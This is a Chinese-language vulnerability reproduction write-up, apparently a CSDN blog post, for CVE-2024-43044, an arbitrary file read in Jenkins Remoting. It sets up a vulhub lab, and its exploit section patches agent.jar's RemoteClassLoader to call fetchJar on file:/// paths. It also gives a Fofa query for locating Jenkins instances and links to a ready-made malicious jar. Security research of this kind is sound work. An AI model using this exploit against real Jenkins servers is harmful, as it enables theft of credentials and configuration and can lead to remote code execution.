Jenkins-Remoting 任意文件读取漏洞(CVE-2024-43044)

0x01 漏洞描述:

Jenkins是一个开源的、提供持续集成服务(CI)的软件平台。Jenkins 使用 Remoting 库(通常为agent.jar或remoting.jar)实现控制器与代理之间的通信,该库允许代理从控制器加载类和类加载器资源,以便从控制器发送的 Java 对象(构建步骤等)可以在代理上执行。

Jenkins Remoting任意文件读取漏洞(CVE-2024-43044),由于Remoting库ClassLoaderProxy#fetchJar方法没有限制代理请求从控制器文件系统读取的路径,可能导致拥有Agent/Connect权限的攻击者从Jenkins控制器文件系统读取任意文件(如凭证、配置文件等敏感信息)并进一步利用导致远程代码执行。

0x02 影响版本:

Jenkins <= 2.470

Jenkins LTS <= 2.452.3

受影响组件:

Jenkins Remoting 版本<= 3256.v88a_f6e922152(3206.3208.v409508a_675ff 和3248.3250.v3277a_8e88c9b_ 除外)

0x03 搜索语句:

Fofa:app="Jenkins"

cb44937716564f2e9035051ebbda9aca.png

0x04 环境搭建:

这里使用vulhub靶场进行漏洞复现

d6f107a6397543e6b29442312a8ffc0f.png

环境启动

docker-compose -up -d

67ca5cabda4f4d0bb27ec5afd416fbf3.png

启动后访问http://127.0.0.1:8080进行访问 使用admin/vulhub登录到管理后台

aaa34c5d356c4868a366a0e7eff2e918.png

因为漏洞在Remoting库中出现 因此我们需要对环境进行下配置

导航Dashboard -> Manage Jenkins ->Nodes 处新建一个Agent节点

dd783742a97a422784750f317d13dfb3.png

节点数据填写为默认值就行

05c3a839d2364db3adb950cd3cfa11d1.png

导航Dashboard -> Manage Jenkins -> Plugins 安装插件 Websocket Notifier

 安装完成之后在节点机器node1连接到Jenkins 主服务器(这里需要用到node1节点的secret值,可在新建节点node1里查看)

f1143153eccc44bf9c97a9823b46ef70.png

连接成功后在Jenkins主服务器上可以看到已连接的标识,成功连接之后就可以在Agent节点上部署任务了

ffa93769d7e64746bafcd17700551790.png

到此环境已经搭建完成 

0x05 漏洞复现:

当获取到node1机器的权限后,可以得到连接到Jenkins主服务器的secret和name,这时需要将连接使用的agent.jar替换成恶意的Agent连接Jar包

使用下列语句将agent.jar下载到本地

curl -sO http://127.0.0.1:8080/jnlpJars/agent.jar

反编译后进入

\hudson\remoting\RemoteClassLoader.class

在 RemoteClassLoader.class中加入下列代码


try {  
    Scanner scanner = new Scanner(System.in);  
    System.out.print("输入读取文件path:");  
    String inputText = scanner.nextLine();  
    System.out.println("尝试读取:" + inputText);  
    URL jarFileUrl = new URL("file:///" + inputText);  
    byte[] fileContent = this.proxy.fetchJar(jarFileUrl);  
    String contentAsString = new String(fileContent, StandardCharsets.UTF_8);  
    System.out.println("文件内容:\n" + contentAsString);  
} catch (Exception var10) {  
    System.out.println("WRONG:" + var10);  
}

 4e489116f3d844ab8dfb2e14dea4b608.png

完成后重新打包为agent.jar 使用node1节点的密钥和名称进行访问

访问格式:
java -jar agent.jar -url http://ip:port/ -secret <xxx> -name <xxx>
示例:
java -jar agent.jar -url http://127.0.0.1:8080/ -secret 903755f06738aaf209ddecc09ae60f8037a240123aba0ac52bbe1a2780571619 -name node1 -workDir ""

33ce8961e696487cb1e8e14c0cebf8a0.png

 完整jar包下载地址:

https://download.csdn.net/download/xc_214/89733433

0x06 修复建议:

目前这些漏洞已经修复,受影响用户可升级到Jenkins 2.471、LTS 2.452.4、LTS 2.462.1或更高版本。

下载链接:

https://www.jenkins.io/download/

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

iSee857

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值